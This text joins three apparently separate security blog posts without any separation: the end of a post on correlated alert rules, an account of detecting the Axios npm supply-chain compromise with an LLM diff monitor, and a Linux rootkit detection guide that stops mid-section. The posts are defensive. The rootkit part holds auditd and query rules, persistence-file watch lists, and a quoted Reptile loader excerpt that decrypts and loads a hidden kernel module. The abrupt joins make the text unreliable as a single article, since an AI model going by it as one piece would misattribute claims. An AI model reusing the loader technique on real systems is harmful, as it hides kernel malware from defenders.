// Suricata severithy 3 corresponds to information alerts, which are excluded to reduce noise
[network where event.dataset == "suricata.eve" and event.kind == "alert" and  event.severity != 3 and source.ip != null and destination.ip != null]
[network where event.module == "endpoint" and event.action in  ("disconnect_received", "connection_attempted")]

Example of matches confirming the Suricata alert and linking it to the target web server process nginx from Elastic Defend events confirming the web-exploitation attempt:

Endpoint Security with Observability

Correlating observability telemetry with security alerts is a powerful detection strategy.

The XZ Utils backdoor incident demonstrated that security-relevant anomalies may first surface as performance regressions rather than traditional security alerts. In that case, unusual behavior in the SSH daemon led to deeper investigation and eventual discovery of malicious code.

This highlights an important principle: operational anomalies can be early indicators of compromise.

With the Elastic Agent, system metrics such as CPU and memory utilization can be collected alongside security telemetry. By correlating abnormal resource spikes with SIEM alerts either by process or by host we can increase detection confidence and surface high-risk activity earlier.

For example, an ES|QL correlation rule can identify a process exhibiting sustained 70% CPU utilization that is also the source of a memory signature alert for a cryptominer from Elastic Defend. Individually, each signal may be low or medium severity. Correlated together, they represent high-confidence malicious activity.

We developed over 30 Higher-Order detections covering various types of relationships. While we can’t cover all of them here, the links below provide enough context to adapt these rules to your environment:

Endpoint Alerts:
Multiple Elastic Defend Alerts by Agent
Multiple Elastic Defend Alerts from a Single Process Tree
Multiple Rare Elastic Defend Behavior Rules by Host
Newly Observed Elastic Defend Behavior Alert
Multiple External EDR Alerts by Host

Endpoint and Network:
Newly Observed Palo Alto Network Alert
Newly Observed High Severity Suricata Alert
FortiGate SOCKS Traffic from an Unusual Process
PANW and Elastic Defend - Command and Control Correlation
Elastic Defend and Network Security Alerts Correlation
Suricata and Elastic Defend Network Correlation

Generic by MITRE ATT&CK:
Alerts in Different ATT&CK Tactics by Host
Multiple Alerts in Same ATT&CK Tactic by Host

Generic multi-integrations correlation:
Alerts From Multiple Integrations by Source Address
Alerts From Multiple Integrations by Destination Address
Alerts From Multiple Integrations by User Name
Newly Observed High Severity Detection Alert

Lateral movement correlation:
Suspected Lateral Movement from Compromised Host
Lateral Movement Alerts from a Newly Observed Source Address
Lateral Movement Alerts from a Newly Observed User

Observability and security correlation:
Detection Alert on a Process Exhibiting CPU Spike
Multiple Alerts on a Host Exhibiting CPU Spike
Newly Observed Process Exhibiting High CPU Usage

Machine Learning correlation:
Multiple Machine Learning Alerts by Influencer Field

Other correlation ideas:
Multiple Vulnerabilities by Asset via Wiz
Elastic Defend and Email Alerts Correlation
Suspicious Kerberos Authentication Ticket Request
Multiple Cloud Secrets Accessed by Source Address

These examples illustrate how correlating alerts across endpoints, network, and observability can enrich context, accelerate investigations, and improve detection confidence. We are actively expanding coverage in this area to support additional correlation scenarios.

You can enable them by filtering for the tag value Rule Type: Higher-Order Rule in the rules management page:

Over a 15-day period, alert counts remained within acceptable volume (~30 alerts/day). Targeted tuning of initial outliers is expected to reduce them to ~20 alerts/day and materially improve overall signal quality.

Considerations and Trade-offs

Higher-Order Rules introduce potential scheduling latency. Since they query alert indices, there is an inherent delay between when base alerts fire and when correlations surface. Rule scheduling intervals and loopback windows should be tuned to balance timeliness against performance cost. Additionally, HOR quality depends directly on the quality of the base detections. A noisy atomic rule will cascade false positives into every correlation that references it. We recommend tuning base rules aggressively before enabling dependent Higher-Order Rules. Finally, ESQL queries over broad index patterns (e.g. logs-*) can be expensive at scale. In high-volume environments, scoping index patterns to specific datasets or using dataviews can significantly reduce query cost.

Conclusion

High-Order rules are essential for prioritizing alert triage and managing alert volumes for automation and AI-driven analysis**.** When combined with Entity Risk Scoring, Higher-Order Rules can feed directly into host and user risk profiles, creating a quantitative prioritization layer that further reduces manual triage burden. In our production tests, the majority of these detections produced a medium to low alert volume, making them practical for real-world use. While a small number of noisy rules or false positives may initially surface, excluding these at the atomic rule level quickly leaves a robust set of high-value correlations.

To maximize their effectiveness, two operational practices are critical. First, ensure that input alerts use severity levels that accurately reflect both noise and real-world impact, cleaning and normalizing severity is foundational to meaningful correlation. Second, start small and expand deliberately: avoid trying to correlate every possible alert signal. Exclude inherently noisy tactics (such as discovery), deprioritize low-severity signals, and deprecate rules that disproportionately influence correlation outcomes.

Applied correctly, High-Order rules streamline investigations, improve detection accuracy, and significantly increase the efficiency and trustworthiness of modern security operations.

Last Monday night I was working late and a Slack alert came in from a monitoring tool I had built three days earlier. Axios compromised; one of the most popular npm packages in the world.

My heart started racing, I knew every second mattered to respond and limit the damage. But honestly it was so crazy that I thought it must be a false positive. I checked and rechecked everything a few times even though it seemed very obviously malicious.

It wasn't a false positive. It was one of the largest supply chain compromises ever on npm, with presumed attribution to DPRK state actors. We caught it with a proof of concept I hacked together on a Friday afternoon, running on my laptop, powered by AI reading diffs.

I want to share the whole story. How we got here, what I built, and why I think sharing it openly makes everyone a little safer.

I've been worried about supply chain for a while

Some recent supply chain incidents have genuinely had me up at night. Supply chain compromise is a hard problem. At Elastic we have so many developers, and our security customers are trusting us to protect them. It has been clear that the status quo is broken, and we need some new technology or procedures to help. I had some ideas around a more trusted, AI-vetted ecosystem, building on app control principles while limiting cost and friction.

But the Trivy compromise was really where I took notice. On March 19th, a group called TeamPCP compromised the aquasecurity/trivy-action GitHub Action (the one for the popular Trivy security scanner, yes, a security tool). They injected a credential stealer that harvested secrets from CI/CD pipelines. A massive amount of credentials were stolen.

That cascaded fast. On March 24th, LiteLLM got hit. TeamPCP had stolen LiteLLM's PyPI publishing credentials through the poisoned Trivy pipeline, and used them to push malicious versions that were aggressive credential stealers. SSH keys, cloud creds, API keys, wallet data, everything.

LiteLLM is a package I had used myself. So you could say at that point I was fully "up at night."

I knew that with all the credentials leaked from the Trivy breach, there was definitely going to be more. We needed to do something to stay ahead of it. Both for our customers and to protect Elastic.

Friday, after the red-eye

I had just flown back from RSAC 2026 in San Francisco. Red-eye flight Thursday night. If you've done a red-eye after four days of conference, you know the state I was in. However, I was excited as ever for a new project, so I sat down and hammered out v0.0.1.

The idea: monitor changes as they get pushed to package repos. Run a diff to see what changed. Use AI/LLM to determine if the changes are malicious. That's basically it.

The pipeline looks like:

1. Poll PyPI's changelog API and npm's CouchDB _changes feed for new releases
2. Filter against a watchlist of the top 15,000 packages by download count
3. Download the old and new versions directly from the registry (no pip install, no npm install, no code execution)
4. Diff them into a markdown report
5. Send the diff to an LLM: "is this malicious?"
6. If yes, alert to Slack

I wanted to focus mainly on top packages since that's most likely where attackers would go anyway, and it would be much less costly in terms of tokens and compute. It was completely manageable to run on my laptop.

Why Cursor

There are a lot of agent harnesses out there. I've written my own for projects like AI malware reverse engineering. But I was very short on time, so I chose to harness up Cursor since it's one of my main dev tools. The Agent CLI lets you invoke it programmatically: pass a workspace, an instruction, and a model. I run it in ask mode (read-only) so it can only read the diff, never modify anything. The whole analysis step is a single subprocess call.

The prompt is simple. I tell it what to look for (obfuscated code, base64, exec/eval, unexpected network calls, steganography, persistence mechanisms, lifecycle script abuse) and ask it to respond with Verdict: malicious or Verdict: benign. Parse the verdict, act on it.

On model selection

I normally use Opus 4.6 or GPT 5.4 for most things. Opus especially for cybersecurity-focused tasks. But I wanted to keep costs down for something that needs to analyze dozens of releases per hour.

There have been some really good blog posts from the Cursor team lately, one on fast regex search for agent tools and another on their real-time RL approach where they use actual production inference tokens as training signals and deploy improved checkpoints roughly every five hours. Genuinely impressive engineering.

So I wanted to give Composer 2 a shot. I used fast mode, which is truly fast. Perfect for a real-time use case. Low cost, fast, and effective (in my testing).

Testing on Telnyx

You have to test these things to know they'll actually work. Usually that means tweaking prompts a bunch.

I got lucky (or unlucky) with timing. On the same Friday I was building this, the telnyx PyPI package got compromised by TeamPCP. They injected 74 lines of malicious code into _client.py: payloads hidden inside WAV audio files (steganography), base64 obfuscation, a Windows persistence implant disguised as msbuild.exe, and exfiltration to a hardcoded C2.

I used the diff between the legitimate and malicious telnyx package to build out the initial prompt. The model was very good at identifying malicious changes like this. I also wanted to know immediately when a compromise was detected, so I added Slack alerting.

Monday night

I let it run over the weekend. It churned through releases, everything coming back benign.

I never got a single false positive, which is honestly strange if you've ever done detection work in cybersecurity. We're usually drowning in FPs. I intentionally instructed the LLM to only alert on "high confidence" supply chain compromises, as they are generally trigger-happy out of the box. Still catching the Telnyx test case, with no FPs. Could be overfitting with such a low sample size, but no time to build something more robust.

Then Monday night, working late, the Slack alert came in.

🚨 Supply Chain Alert: axios 0.30.4
Verdict: MALICIOUS
npm: https://www.npmjs.com/package/axios/v/0.30.4

Did it really just find one of the biggest supply chain compromises in recent memory?

I checked the analysis. Rechecked it. Checked it again. The attackers had compromised a maintainer's npm account, changed the email to a ProtonMail account they controlled, and published two malicious versions (1.14.1 and 0.30.4). They didn't inject code directly into Axios. Instead they added a phantom dependency called plain-crypto-js that ran a postinstall hook deploying cross-platform malware. It was obviously malicious.

The response

I reached out immediately to our infosec team and research team at Elastic to get them spun up. I knew every second mattered. It turns out that when I contacted them, they had already received Elastic Defend alerts on a host that had installed the malicious package and were actively responding. But at that point nobody had realized the extent of the issue or had a root cause understanding of how the machine became infected. The monitoring tool provided that missing context.

I tried sending an email to security@npmjs and got a bounce back. Tried submitting to their security portal and got an error. I tweeted out in desperation to get a hold of a human. I also quickly opened a security issue on the axios repo itself.

Later, I saw a tweet from another researcher who had observed the compromise, and I realized I was handling this more as a vulnerability than a supply chain incident. With a vulnerability you coordinate quietly. With an active compromise that is installing malware on people's machines right now, going wide and open is the right call. So I immediately shared all the details I had compiled to X.

We even started getting alerts from our telemetry showing impacted orgs in the wild. The thing was actively running.

Fortunately, the Axios team jumped on it and pulled the packages pretty quickly. Also, the attacker's C2 server was getting so many requests that it was falling over. It could have been a lot worse.

Our team at Elastic Security Labs published full technical write-ups on the compromise. The first covers the end-to-end attack chain, the cross-platform malware, and the C2 protocol: Inside the Axios supply chain compromise - one RAT to rule them all. The second covers hunting and detection rules across Linux, Windows, and macOS: Elastic releases detections for the Axios supply chain compromise.

Where we go from here

The state of things right now is not great and we need to do better as a whole software ecosystem, let alone the security industry.

In two weeks in March:

• Trivy (a security scanner) was compromised to steal CI/CD secrets
• LiteLLM was compromised using those stolen secrets
• Telnyx was compromised in the same campaign
• Axios, one of the most depended-upon packages in npm, was compromised by a suspected DPRK actor
• and more

Package registries are critical infrastructure. The teams running PyPI and npm are doing great work, but the threat has moved past what current trust models can handle. We need better automated monitoring of package changes. Not just signature scanning but actually understanding what code does. LLMs are genuinely good at this, as this project shows. And we need credential rotation after breaches to happen faster. The Trivy to Litellm to Telnyx cascade happened because stolen creds weren't rotated quickly enough.

One practical thing you can do right now: don't pull in package updates immediately. Add a soak time. Let new versions sit for a period before your builds pick them up. We do this with our CI/CD systems at Elastic in response to shai-hulud. It won't stop everything, but it gives the community time to catch compromises before they hit your CI/CD pipelines and developer machines. The good news is the many package managers have added native support for this. For example, to enforce a 7-day delay:

npm config set min-release-age 7
pnpm config set minimum-release-age 10080
yarn config set npmMinimumReleaseAge 10080
uv --exclude-newer "7 days ago"

We're open sourcing this

We're releasing the tool: supply-chain-monitor

I want to be upfront. It's a proof of concept. I built it in an afternoon on no sleep. I don't expect anyone to run it at a production level. It requires a Cursor subscription for the LLM analysis, it processes releases sequentially, and the watchlists are static.

But the approach works. Diffing package releases in real-time and using AI to classify the changes caught a supply chain attack on one of the most popular packages in npm.

I'm sharing this because it's best for the community to learn from our experiences. If someone takes this idea and builds something better, great. If a package registry team builds it into their pipeline, even better. If it means someone else has a big save next time, this was worth it.

How it works (for the curious)

Monitoring: Two threads poll PyPI (via changelog_since_serial() XML-RPC) and npm (via CouchDB _changes feed). New releases matching the top-N watchlist get queued. State persists to last_serial.yaml so it picks up where it left off.

Diffing: Old and new versions downloaded directly from registry APIs. No pip/npm install, no code execution. Archives extracted, files hashed, unified diff report generated in markdown.

Analysis: Diff report goes to Cursor Agent CLI in read-only mode. Prompt asks it to look for supply chain indicators. Output parsed for the verdict.

Alerting: Malicious verdict fires a Slack message with the package name, rank, registry link, and analysis summary.

AI in security, beyond this project

Supply chain security is a big issue, but we aren’t powerless. AI gives us new tools to defend at scale at machine speed. This project is one example of using AI to help with a security problem, but we've been doing a lot of interesting work with AI across Elastic Security more broadly. One thing I'd highlight: our team recently published a post on using Attack Discovery, Workflows, and Agent Builder to automatically detect and confirm APT-level attacks. This shows the power of the Elastic Platform, delivering agentic security to meaningfully improve the efficiency and efficacy of your SOC in a time when we are collectively drowning in attacks.

The supply-chain-monitor project is available at github.com/elastic/supply-chain-monitor.

Thanks to the Elastic Infosec team for the rapid incident response, the axios maintainers for the quick takedown, and the security community for the collective effort that limited the blast radius.

In part one, we examined how Linux rootkits work: their evolution, taxonomy, and techniques for manipulating user space and kernel space. In this second part, we turn to detection engineering. We begin by showing why static detection is often unreliable against Linux rootkits, even when binaries are only trivially modified, and then move on to behavioral and runtime signals that defenders can use instead. From shared object abuse and LKM loading to eBPF, io_uring, persistence, and defense evasion, this article focuses on practical ways to detect and investigate rootkit activity in real environments.

Static detection via VirusTotal

Before focusing on behavioral detection techniques, it is useful to examine how well traditional static detection mechanisms identify Linux rootkits. To do so, we conducted a small experiment using VirusTotal as a proxy for traditional signature-based antivirus detection. A dataset of ten Linux rootkits was assembled from publicly available research papers and open-source repositories. Each sample was either uploaded to VirusTotal or retrieved from existing submissions.

For every rootkit, we recorded the number of antivirus engines that flagged the original binary. We then performed two additional tests:

1. Stripped binaries, created using strip --strip-all, removing symbol tables and other non-essential metadata.
2. Trivially modified binaries, created by appending a single null byte to the original file: an intentionally unsophisticated change.

The goal was not to evade detection through advanced obfuscation, but to assess how fragile static signatures are when faced with even the simplest binary modifications.

Table 1: Technical overview of the analyzed rootkit dataset

* Bedevil is stripped by default, and thus, the basic and stripped detections are the same

Observations

As expected, stripping binaries generally resulted in a sharp drop in detection rates. In several cases, detections fell to near-zero, suggesting that some antivirus engines rely heavily on symbol information or other easily removable metadata. Even more telling is the impact of adding a single null byte: a modification that does not alter program logic, execution flow, or behavior, yet still significantly degrades detection for many samples.

This highlights a fundamental weakness of static, signature-based detection. If a one-byte change can meaningfully affect detection outcomes, attackers do not need sophisticated obfuscation to evade static scanners.

Obfuscation techniques in rootkits

Interestingly, most of the rootkits in this dataset employ little to no advanced static obfuscation. Where obfuscation is present, it is typically limited to simple XOR encoding of strings or configuration data, or lightweight packing techniques that slightly alter the binary layout. These methods are inexpensive to implement and sufficient to defeat many static signatures.

The absence of more advanced obfuscation in these samples is notable. Many are open-source proof-of-concept rootkits designed to demonstrate techniques rather than to aggressively evade detection. Yet even with minimal or no obfuscation, static detection proves unreliable.

Why static detection is not enough

This experiment reinforces a key point: static detection alone is fundamentally insufficient for reliable rootkit detection. The fragility of static signatures (especially in the face of trivial modifications) means defenders cannot rely on file-based indicators or hash-based detection to uncover stealthy threats.

When binaries can be altered without affecting behavior, the only remaining consistent signal is the rootkit's behavior at runtime. For that reason, the remainder of this blog shifts its focus from static artifacts to dynamic analysis and behavioral detection, examining how rootkits interact with the operating system, manipulate execution flow, and leave observable traces during execution.

That is where detection engineering becomes both more challenging and far more effective.

Dynamic detection engineering

Userland rootkit loading detection techniques

Userland rootkits often hijack the dynamic linking process, injecting malicious shared objects into target processes without needing kernel-level access. An infection begins with the creation of a shared object file. The detection of newly created shared object files can be detected through a detection rule similar to the one displayed below:

file where event.action == "creation" and
(file.extension like~ "so" or file.name like~ "*.so.*")

These files are often written to writable or ephemeral paths such as /tmp/, /dev/shm/, or hidden subdirectories under user home directories. Attackers may either download, compile, or drop them directly from a loader. This knowledge may be applied to the detection rule above to reduce noise.

As an example, in the telemetry shown above, we can see the threat actor using scp to download a shared object file into a hidden subdirectory within /tmp, then move it to a library directory, attempting to blend in. We detected this, and similar threats, via:

• Shared Object Created by Previously Unknown Process
• Creation of Hidden Shared Object File

Once the shared object file is present on the system, the attacker has several options for activating it. The most commonly abused mechanisms are the LD_PRELOAD environment variable, the /etc/ld.so.preload file, and dynamic linker configuration paths such as /etc/ld.so.conf.

The LD_PRELOAD environment variable allows an attacker to specify a shared object that will be loaded before any other libraries during the execution of a dynamically linked binary. This allows for a complete override of libc functions, such as execve(), open(), or readdir(). This method works on a per-process basis and does not require root access.

To detect this technique, telemetry for the LD_PRELOAD environment variable is required. Once this is available, any detection logic to detect uncommon LD_PRELOAD values can be written. For example:

process where event.type == "start" and event.action == "exec" and
process.env_vars != null

As shown in Figure 1, this was also the next step for the attackers. The attackers moved libz.so.1 from /tmp/.X12-unix/libz.so.1 to /usr/local/lib/libz.so.1.

To be higher fidelity, we implemented this logic using the new_terms rule type, only flagging on previously unseen shared object entries within the LD_PRELOAD variable via:

• Unusual Preload Environment Variable Process Execution
• Unusual LD_PRELOAD/LD_LIBRARY_PATH Command Line Arguments

Of course, if more than just LD_PRELOAD and LD_LIBRARY_PATH environment variables are collected, the rule above should be altered to include these two items specifically. To reduce noise, statistical analysis and/or baselining should be conducted.

Another method of activation is to leverage the /etc/ld.so.preload file. If present, this file forces the dynamic linker to inject the listed shared object into every dynamically linked binary on the system, resulting in global injection.

A similar method involves altering the dynamic linker’s configuration to prioritize malicious library paths. This can be achieved by modifying /etc/ld.so.conf or adding entries to /etc/ld.so.conf.d/, followed by executing ldconfig to update the cache. This changes the resolution path of critical libraries, such as libc.so.6.

These scenarios can be detected by monitoring the /etc/ld.so.preload and /etc/ld.so.conf files, as well as the /etc/ld.so.conf.d/ directory for creation/modification events. Using this raw telemetry, a detection rule to flag these events can be implemented:

file where event.action in ("creation", "rename") and
file.path like ("/etc/ld.so.preload", "/etc/ld.so.conf", "/etc/ld.so.conf.d/*")

We frequently see this chain, where a shared object is created, and then the dynamic linker is modified.

Which we detect via the following detection rules:

• Dynamic Linker Creation
• Modification of Dynamic Linker Preload Shared Object

Chaining these two alerts together on a single host warrants investigation.

Kernel-space rootkit loading detection techniques

Loading an LKM manually typically requires using built-in command-line utilities such as modprobe, insmod, and kmod. Detecting the execution of these utilities will detect the loading phase (when performed manually).

process where event.type == "start" and event.action == "exec" and (
  (process.name == "kmod" and process.args == "insmod" and
   process.args like~ "*.ko*") or
  (process.name == "kmod" and process.args == "modprobe" and
   not process.args in ("-r", "--remove")) or
  (process.name == "insmod" and process.args like~ "*.ko*") or
  (process.name == "modprobe" and not process.args in ("-r", "--remove"))
)

Many open-source rootkits are published without a loader and rely on pre-installed LKM-loading utilities. An example is Singularity, which provides a load_and_persistence.sh script, which performs several actions, after which it eventually calls insmod "$MODULE_DIR/$MODULE_NAME.ko". Although insmod is called in the command, insmod is actually kmod under the hood, with insmod as a process argument. An example of a Singularity load:

Which can be easily detected via the following detection rules:

• Kernel Module Load via Built-in Utility
• Kernel Module Load from Unusual Location

This detection approach, however, is far from bulletproof, as many rootkits rely on a loader to load the LKM, thereby bypassing execution of these userland utilities.

For example, Reptile’s loader directly invokes the init_module syscall with an in-memory decrypted kernel blob:

#define init_module(module_image, len, param_values) syscall(__NR_init_module, module_image, len, param_values)

int main(void) {
    [...]
    do_decrypt(reptile_blob, len, DECRYPT_KEY);
    module_image = malloc(len);
    memcpy(module_image, reptile_blob, len);
    init_module(module_image, len, "");
    [...]
}

Additionally, Reptile’s kmatryoshka module acts as an in-kernel chainloader that decrypts and loads another hidden LKM using a direct function pointer to sys_init_module, located via kallsyms_on_each_symbol(). This further obscures the loading mechanism from userland visibility.

Because of this, it's essential to understand what these utilities do under the hood; they are merely wrappers around the init_module() and finit_module() system calls. Effective detection should therefore focus on tracing these syscalls directly, rather than the tooling that invokes them.

To ensure the availability of the data sources required to load LKMs, various security tools can be employed. Auditd or Auditd Manager are suitable choices. To facilitate the collection of init_module() and finit_module syscalls, the subsequent configuration can be implemented.

-a always,exit -F arch=b64 -S finit_module -S init_module
-a always,exit -F arch=b32 -S finit_module -S init_module

Combining this raw telemetry with a detection rule that alerts when this event occurs allows for a strong defense.

driver where event.action == "loaded-kernel-module" and
auditd.data.syscall in ("init_module", "finit_module")

This strategy will allow detection of the kernel module loading, regardless of the utility being used for the loading event. In the example below, we see a true positive detection of the Diamorphine rootkit.

This pre-built rule is available here:

• Kernel Driver Load

Additional Linux detection engineering guidance through Auditd is presented in the Linux detection engineering with Auditd research.

Out-of-tree and unsigned modules

Another sign of a malicious LKM is the presence of the kernel “taint” flag. When the kernel detects that a module is loaded that is either not part of the official kernel tree, lacks a valid signature, or uses a non-permissive license, it marks the kernel as “tainted”. This is a built-in integrity mechanism that indicates the kernel is in a potentially untrusted state. An example of this is shown below, where the reveng_rtkit module is loaded:

[ 2853.023215] reveng_rtkit: loading out-of-tree module taints kernel.
[ 2853.023219] reveng_rtkit: module license 'unspecified' taints kernel.
[ 2853.023220] Disabling lock debugging due to kernel taint
[ 2853.023297] reveng_rtkit: module verification failed: signature and/or required key missing - tainting kernel

The kernel identifies the module as out-of-tree, with an unspecified license, and missing cryptographic verification. This results in the kernel being marked tainted.

To detect this behavior, system and kernel logging must be parsed and ingested. Once kernel log telemetry is available, simple pattern matching or rule-based detection can flag these events. Out-of-tree module loading can be detected through:

event.dataset:"system.syslog" and process.name:"kernel" and
message:"loading out-of-tree module taints kernel."

And similar detection logic can be implemented to detect unsigned module loading:

event.dataset:"system.syslog" and process.name:"kernel" and
message:"module verification failed: signature and/or required key missing - tainting kernel"

Using the detection logic above, we observed true positives in telemetry, attempting to load Singularity:

These rules are by default available in:

• Tainted Kernel Module Load
• Tainted Out-Of-Tree Kernel Module Load

The log entry will always show the module name that triggered the event, enabling easy triage. When the LKM is not present in the system during a manual check triggered by this alert, it may indicate that the LKM is hiding itself.

Kill signals

Many (open-source) rootkits leverage kill signals, specifically those in the higher, unassigned ranges (32+), as covert communication channels or triggers for malicious actions. For instance, a rootkit might intercept a specific high-numbered kill signal (e.g., kill -64 <pid>). Upon receiving this signal, the rootkit's payload could be configured to elevate privileges, execute commands, toggle hiding capabilities, or establish a backdoor.

To detect this, we can leverage Auditd and create a rule that collects all kill signals:

-a exit,always -F arch=b64 -S kill -k kill_rule

The arguments passed to kill() are kill(pid, sig). We can query a1 (the signal) to flag any kill signal above 32.

process where event.action == "killed-pid" and
auditd.data.syscall == "kill" and auditd.data.a1 in (
"21", "22", "23", "24", "25", "26", "27", "28", "29", "2a",
"2b", "2c", "2d", "2e", "2f", "30", "31", "32", "33", "34",
"35", "36", "37", "38", "39", "3a", "3b", "3c", "3d", "3e",
"3f", "40", "41", "42", "43", "44", "45", "46", "47"
)

Analyzing the kill() syscall for unusual signal values via Auditd presents a strong detection opportunity against rootkits that utilize these signals, as seen in techniques such as those employed by Diamorphine. The kill-related pre-built rules are available at:

• Unusual Kill Signal
• Kill Command Execution

Segfaults

Finally, it’s essential to recognize that kernel-space rootkits are inherently fragile. LKMs are typically compiled for a specific kernel version and configuration. An incorrectly resolved symbol or a misaligned memory write may trigger a segmentation fault. While these failures may not immediately expose the rootkit’s functionality, they provide strong forensic signals.

To detect this, raw syslog collection must be enabled. From there, writing a detection rule to flag segfault messages can help identify either malicious behavior or kernel instability, both of which warrant investigation:

event.dataset:"system.syslog" and process.name:"kernel" and message:"segfault"

This detection rule is available out-of-the-box as a building block rule:

• Segfault Detected

Combining syscall-level module-loading visibility with kernel taint, out-of-tree messages, kill-signal detection, and segfault alerts lays the foundation for a layered strategy to detect LKM-based rootkits.

eBPF rootkits

eBPF rootkits exploit the legitimate functionality of the Linux kernel’s BPF subsystem. Programs can be dynamically loaded and attached using utilities like bpftool or via custom loaders that abuse the bpf() syscalls.

Detecting eBPF-based rootkits requires visibility into both bpf() syscalls and the use of sensitive eBPF helpers. Key indicators involved include:

• bpf(BPF_MAP_CREATE, ...)
• bpf(BPF_MAP_LOOKUP_ELEM, ...)
• bpf(BPF_MAP_UPDATE_ELEM, ...)
• bpf(BPF_PROG_LOAD, ...)
• bpf(BPF_PROG_ATTACH, ...)

Leveraging Auditd, an audit rule can be created where a0 is leveraged to specify the specific BPF syscalls of interest:

-a always,exit -F arch=b64 -S bpf -F a0=0 -k bpf_map_create
-a always,exit -F arch=b64 -S bpf -F a0=1 -k bpf_map_lookup_elem
-a always,exit -F arch=b64 -S bpf -F a0=2 -k bpf_map_update_elem
-a always,exit -F arch=b64 -S bpf -F a0=5 -k bpf_prog_load
-a always,exit -F arch=b64 -S bpf -F a0=8 -k bpf_prog_attach

These must be tuned on a per-environment basis to ensure that benign programs (e.g., EDRs or other observability tools) that leverage eBPF do not generate noise. Another important signal is the use of eBPF helper functions.

The bpf_probe_write_user helper function

The bpf_probe_write_user helper allows kernel-space eBPF programs to write directly to userland memory. Although intended for debugging, this function can be abused by rootkits.

Detection remains challenging, but Linux kernels commonly log the use of sensitive helpers, such as bpf_probe_write_user. Monitoring for these entries offers a detection opportunity, requiring raw syslog collection and specific detection rules, such as the following:

event.dataset:"system.syslog" and process.name:"kernel" and
message:"bpf_probe_write_user"

This rule will alert on any kernel log entry indicating the use of bpf_probe_write_user. While legitimate tools may occasionally invoke it, unexpected or frequent use, especially alongside suspicious process behavior, warrants investigation. Context, such as the eBPF program’s attachment point and the userland process involved, aids triage. This detection rule is available here:

• Suspicious Usage of bpf_probe_write_user Helper

Below are a few obvious examples of true positives detected by this logic:

The rule triggers on nysm (a stealthy post-exploitation container) and boopkit (a Linux eBPF backdoor).

io_uring rootkits

ARMO research (2025) introduced a new defense evasion technique that leverages io_uring, a design for asynchronous I/O, to reduce observable syscall activity and bypass standard telemetry. This technique is limited to kernel versions 5.1 and above and avoids using hooks. Although the method was recently discovered by rootkit researchers, it is still actively being developed and remains relatively immature in its feature set. An example tool that leverages this technique is RingReaper. Rootkits can batch file, network, and other I/O operations via io_uring_enter(). A code example is shown below.

struct io_uring_sqe *sqe = io_uring_get_sqe(&ring);
io_uring_prep_read(sqe, fd, buf, size, offset);
io_uring_submit(&ring);

These calls queue and submit a read request using io_uring, bypassing typical syscall telemetry paths.

Unlike syscall table hooking or LD_PRELOAD-based injection, io_uring is not a rootkit delivery mechanism itself but provides a stealthier means of interacting with the filesystem and devices post-compromise. While io_uring cannot directly execute binaries (due to the lack of execve-like capabilities), it enables malicious actions such as file creation, enumeration, and data exfiltration, while minimizing observability.

Detecting io_uring-based rootkits requires visibility into the syscalls that underpin their operation, such as io_uring_setup(), io_uring_enter(), and io_uring_register().

While EDR solutions may struggle to capture the indirect effects of io_uring, Auditd can trace these syscalls directly. The following audit rule captures relevant events for analysis:

-a always,exit -F arch=b64 -k io_uring
-S io_uring_setup -S io_uring_enter -S io_uring_register

However, this only exposes the syscall usage itself, not the specific file or object being accessed. The real "magic" of io_uring occurs within userland libraries (e.g., liburing), making analysis of syscall arguments essential.

For example, monitoring io_uring_enter() with to_submit > 0 indicates that an I/O operation is being batched, while alternating calls with min_complete > 0 signals completion polling. Correlating with process attributes (e.g., UID=0, unusual paths such as /dev/shm, /tmp, or tmpfs-backed locations) enhances detection efficacy.

A practical method for tracing io_uring activity is via eBPF with tools like BCC, targeting tracepoints such as sys_enter_io_uring_enter. This allows analysts to monitor process behavior and active file descriptors during io_uring operations:

tracepoint:syscalls:sys_enter_io_uring_enter
{
    printf("\nPID %d (%s) called io_uring_enter with fd=%d, to_submit=%d, min_complete=%d, flags=%d\n",
        pid, comm, args->fd, args->to_submit, args->min_complete, args->flags);

    printf("Manually inspect with: ls -l /proc/%d/fd\n", pid);
}

To illustrate this, several techniques introduced by RingReaper were tested. Live tracing reveals the file descriptors in use, helping identify suspicious activity like reading from /run/utmp to detect what users are logged in:

The activity of writing to a file, in this example /root/test:

Or listing process information via ps by reading the comm contents for each active PID:

While syscall monitoring exposes io_uring usage, it does not directly reveal the nature of the I/O without additional correlation. io_uring is a relatively new technique and therefore still stealthy; however, it also has several limitations. io_uring cannot directly execute code; however, attackers may abuse file writes (e.g., cron jobs, udev rules) to achieve delayed or indirect execution, as demonstrated by persistence techniques used by the Reptile and Sedexp malware families.

Rootkit persistence techniques

Rootkits, whether in userland or kernel space, require some form of persistence to remain functional across reboots or user sessions. The methods vary depending on the type and privileges of the rootkit, but commonly involve abusing configuration files, service management, or system initialization scripts.

Userland rootkits – environment variable persistence

When using LD_PRELOAD to activate a userland rootkit, the behavior is not persistent by default. To achieve persistence, attackers may modify shell initialization files (e.g., ~/.bashrc, ~/.zshrc, or /etc/profile) to export environment variables such as LD_PRELOAD or LD_LIBRARY_PATH. These modifications ensure that every new shell session automatically inherits the environment required to activate the rootkit. Notably, these files exist for both user and root contexts. Therefore, even non-privileged users can introduce persistence that hijacks execution flow at their privilege level.

To detect this, a rule similar to the one displayed below can be used:

file where event.action in ("rename", "creation") and file.path like (
  // system-wide configurations
  "/etc/profile", "/etc/profile.d/*", "/etc/bash.bashrc",
  "/etc/bash.bash_logout", "/etc/zsh/*", "/etc/csh.cshrc",
  "/etc/csh.login", "/etc/fish/config.fish", "/etc/ksh.kshrc",

  // root and user configurations
  "/home/*/.profile", "/home/*/.bashrc", "/home/*/.bash_login",
  "/home/*/.bash_logout", "/home/*/.bash_profile", "/root/.profile",
  "/root/.bashrc", "/root/.bash_login", "/root/.bash_logout",
  "/root/.bash_profile", "/root/.bash_aliases", "/home/*/.bash_aliases",
  "/home/*/.zprofile", "/home/*/.zshrc", "/root/.zprofile", "/root/.zshrc",
  "/home/*/.cshrc", "/home/*/.login", "/home/*/.logout", "/root/.cshrc",
  "/root/.login", "/root/.logout", "/home/*/.config/fish/config.fish",
  "/root/.config/fish/config.fish", "/home/*/.kshrc", "/root/.kshrc"
)

Depending on the environment, several of these shells may not be in use, and a more tailored detection rule may be created, focusing only on bash or zsh, for example. The full detection logic using Elastic Defend and Elastic’s File Integrity Monitoring integration can be found here:

• Shell Configuration Creation
• Potential Persistence via File Modification

For more information, a full breakdown of this persistence technique, including several other ways to detect its abuse, is presented in Linux Detection Engineering - A primer on persistence mechanisms.

Userland rootkits – configuration-based persistence

